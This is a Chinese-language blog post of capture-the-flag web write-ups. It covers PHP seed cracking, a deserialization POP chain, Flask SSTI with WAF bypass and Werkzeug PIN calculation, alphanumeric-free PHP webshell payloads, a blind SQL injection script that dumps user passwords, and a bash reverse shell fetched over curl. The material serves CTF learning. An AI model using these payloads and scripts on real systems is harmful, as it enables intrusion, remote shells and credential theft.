[GWCTF 2019]枯燥的抽奖
访问check.php得到部分源码
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
首先我们可以发现,这个种子的范围其实也不是特别的大。也就是说,我们可以想办法看看能不能爆破这个抽奖代码。
试试php_mt_seed来一波
str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
qq = 'jLQ1zt3GS0'
for i in range(len(qq)):
for j2 in range(len(str_long1)):
if qq[i] == str_long1[j2]:
print("{0} {1} {2} {3} ".format(j2,j2,0,len(str_long1)-1),end='')
#9 9 0 61 47 47 0 61 52 52 0 61 27 27 0 61 25 25 0 61 19 19 0 61 29 29 0 61 42 42 0 61 54 54 0 61 26 26 0 61
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$qq = 'jLQ1zt3GS0';
$seed = 982096039;
$len1 = 20;
$str = '';
mt_srand($seed);
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
//9 9 0 61 47 47 0 61 52 52 0 61 27 27 0 61 25 25 0 61 19 19 0 61 29 29 0 61 42 42 0 61 54 54 0 61 26 26 0 61
注意:一定要使用php_mt_seed 4.0,低于这个版本会爆不出来
[MRCTF2020]Ezpop
给了源码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
里面原来的网址失效了,换个新网址
然后观察,发现Test类的__get方法支持在关键字未定义或私有/保护时执行函数;Modifier类的append方法可以触发include,但是需要输入参数,而__invoke方法可以无显式参数触发。所以方法大致也就明白了:构造Show类的一个对象,变量source是一个Show类对象;source其中变量str是一个Test类对象,指向的p是一个Modifier类对象,其var变量值是php://filter/convert.base64-encode/resource=flag.php。
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$o = new Show();
$o->source=new Show();
$o->source->str=new Test();
$o->source->str->p=new Modifier();
print_r(serialize($o));
print_r(urlencode(serialize($o)));
执行流程:
反序列化启动
第一步:Show启动__wakeup,source被当成了字符串。
第二步:source是一个Show类对象,所以触发了source的__toString方法,str被触发。
第三步:str是一个Test类对象,由于不存在source变量,所以__get被触发,把变量p当成函数启动。
第四步:p是一个Modifier类对象,被当成函数启动时触发__invoke,而var变量是伪协议读取,所以成功包含flag.php内容。
试验一下:
[GYCTF2020]FlaskApp
先看提示,F12一下看到提示是PIN。那就很有可能是用Flask错误页面的PIN调试来执行命令。
随便在解密输点东西,触发错误,确实可以在输入PIN后命令执行。
可以在debug界面看到一部分源码,比如:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
接下来就是算PIN了。有了之前的失败经验(GACTF2020 simpleflask),我们这把是要看好版本来做题。
不过在GACTF2020中存在非预期,我们也用非预期尝试一下。
先读源码
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("app.py").read()}}
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
然后我们就需要绕过waf了。于是有了一些奇妙的绕过方式。
Payload1:字符串拼接绕过法
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}}
Payload2:大小写转换绕过法(可用于GACTF2020,本题不可用)
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['__IMPORT__'.lower()]('OS'.lower()).listdir('/')}}
这样就可以想办法读取到flag了。
不过还有一种PIN法。计算一下
注:参考合适的版本算出PIN,不同版本可能不一样
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}
找个脚本
import hashlib
from itertools import chain
#用户名(读/etc/passwd)
#modname,默认不用改
#默认Flask
#Flask的app.py绝对路径(报错界面有)
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py',
]
#MAC地址的十进制表示,一般是/sys/class/net/eth0/address
#/etc/machine-id或/proc/sys/kernel/random/boot_id,新版本要加/proc/self/cgroup
#还有一种情况,/etc/machine-id为空,而只有/proc/self/cgroup
private_bits = [
'2485410435244',
'aea896a98edd685dd46e869754f36fba51d2bc1890d6b0d7e2cb83048ed821dc'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
[NPUCTF2020]ReadlezPHP
看源码,得知存在time.php?source
进入得到源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
?>
看起来就是普通的反序列化。注意__construct不会在unserialize时执行。
构造一下完事。
time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
[极客大挑战 2019]RCE ME
无字母数字的命令执行
可以考虑使用异或来拼凑命令,然后动态函数执行;取反也可以。
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
这里提供一个结果比较长的异或脚本
global $chrlist,$chrlen,$pc;
$chrlist = '!@#$%^&*()~_+-=`;:<>,./?|[]{} "';
$chrlen = strlen($chrlist);
$pc = array();
for($i=0;$i<$chrlen;$i++){
for($j=$i+1;$j<$chrlen;$j++){
if($i==$j)continue;
//print_r(substr($chrlist,$i,1).substr($chrlist,$j,1).':'.(substr($chrlist,$i,1)^substr($chrlist,$j,1)));
$pc[substr($chrlist,$i,1)^substr($chrlist,$j,1)]= "('".substr($chrlist,$i,1)."'^'".substr($chrlist,$j,1)."')";
}
}
function GetString($cmd){
global $chrlist,$pc;
$leng=strlen($cmd);
$cou_cmd = '';
for($i=0;$i<$leng;$i++){
//print_r(substr($cmd,$i,1));
//print_r($pc[substr($cmd,$i,1)]);
//print_r($pc[substr($cmd,$i,1)]);
if(strpos($chrlist,substr($cmd,$i,1))===false){
$cou_cmd = $cou_cmd . $pc[substr($cmd,$i,1)] . '.';
}
else {
$cou_cmd = $cou_cmd."'".substr($cmd,$i,1)."'.";
}
}
return $cou_cmd;
}
先取反一下:
phpinfo
?code=(~%8F%97%8F%96%91%99%90)();
得到phpinfo()。接下来我们来试一下shell。
http://ccb2fc5e-5c62-4c04-96b2-3da202f00f69.node3.buuoj.cn/?code=('<..>//'^']]][][')(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
前半段是异或assert,后半段是(eval($_POST[a]))的取反。这样就可以拿到shell了。
然后蚁剑连接,考虑到phpinfo显示是PHP7.0.*,所以可以用PHP7_GC_UAF来绕过disable_functions。然后启动/readflag得到flag。
顺便说一下,根据这篇文章和这篇文章,assert在后期PHP版本似乎无法执行代码了。
[CISCN2019 华东南赛区]Web11
底部的Smarty暗示是用PHP Smarty搭建。那就有可能是模板注入了。
添加X-Forwarded-For,发现右上角的Current IP更改了。
那么我们试试写点别的东西
完事,直接想办法读flag
[BSidesCF 2019]Futurella
F12一键秒
[CISCN2019 总决赛 Day2 Web1]Easyweb
访问robots.txt,得到存在备份文件
image.php.bak,读取文件内容
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\0","%00","\'","'"),"",$id);
$path=str_replace(array("\0","%00","\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
应该是个注入题,任意文件读取
然后卡住了,找个WP看看,人傻了
重写了可以判断大小写的盲注脚本
import sys
import requests
import string
import time
config_html = 'http://62e58df8-5446-41f7-bdb0-9e013f060a64.node3.buuoj.cn/image.php'
#config_html = 'http://requestbin.net/r/1gf5gin1'
config_method = 'GET'
config_key = 'path'
config_data = {
'id': '\0',
'path' : 'OR id=if({0},1,0)#'
}
config_length = 'char_length({0}){1}'
config_line = 'ascii(substr({0},{1},1)){2}'
config_success_flag = 'JFIF'
config_failed_flag = ''
config_retry_time = 0.1
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
config_data_range = string.digits + string.ascii_letters + '{}_,'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))
print(config_data_range)
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False
def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data
def concat_line_length(cmd,i):
return config_length.format(cmd,'>' + str(i))
def concat_line_value(cmd,i,nowlen):
return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))
def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
#print(cfg_data(concat_line_length(cmd,i)))
print('[-] {0} NOT length: {1}'.format(cmd,i))
continue
else:
print('[+] {0} length: {1}'.format(cmd,i))
return i
print('[-] Search Length Failed...')
return 0
def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
#print(l,length-len(preline))
fg = False
for i in config_data_range:
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
continue
else:
fg = True
ret.append(i)
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret
def database():
cmd = "database()"
#data_length = get_length_line(cmd)
data_length = 10
return get_value_line(cmd,data_length,'')
database()
def table():
cmd = "(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=CHAR(99, 105, 115, 99, 110, 102, 105, 110, 97, 108))"
#data_length = get_length_line(cmd)
data_length = 12
return get_value_line(cmd,data_length,'')
table()
def column():
cmd = "(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = CHAR(117, 115, 101, 114, 115))"
data_length = get_length_line(cmd)
#data_length = 12
return get_value_line(cmd,data_length,'')
column()
def username():
cmd = "(SELECT group_concat(username) FROM users)"
data_length = get_length_line(cmd)
#data_length = 12
return get_value_line(cmd,data_length,'')
username()
def password():
cmd = "(SELECT group_concat(password) FROM users)"
data_length = get_length_line(cmd)
#data_length = 12
return get_value_line(cmd,data_length,'')
password()
登录后文件上传,短标签绕过。
[BJDCTF 2nd]duangShell
页面提示swp,所以打开.index.php.swp
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/>|\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|%|^|~|base64|xxd|echo|$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
没有办法直接获得返回内容,只能反弹shell了
本来计划用requestbin带出来(没有禁用curl),但是没有外网,还是得反弹。
写shell,监听
原理在这篇文章有写
bash -i >& /dev/tcp/174.1.157.2/13000 0>&1
写到/var/www/html/index.txt里面
Payload:
curl http://174.1.157.2/index.txt | bash
用find找到真实flag。
[BJDCTF 2nd]Schrödinger
注意隐藏的文字
似乎要删了这个,我们看看内容,发现是一个登录网站
那就爆一下,解包改Cookie为0的base64编码(我也不知道为什么)
然后得到密码
av11664517@1583985203
貌似是个b站视频,进去一下,北大量子力学
2020-3-12的评论有flag,为了方便大家,我就放下面了
Flag:BJD{Quantum_Mechanics_really_Ez}
Web题搞得跟Misc一样,表示很无语。。。
Comments NOTHING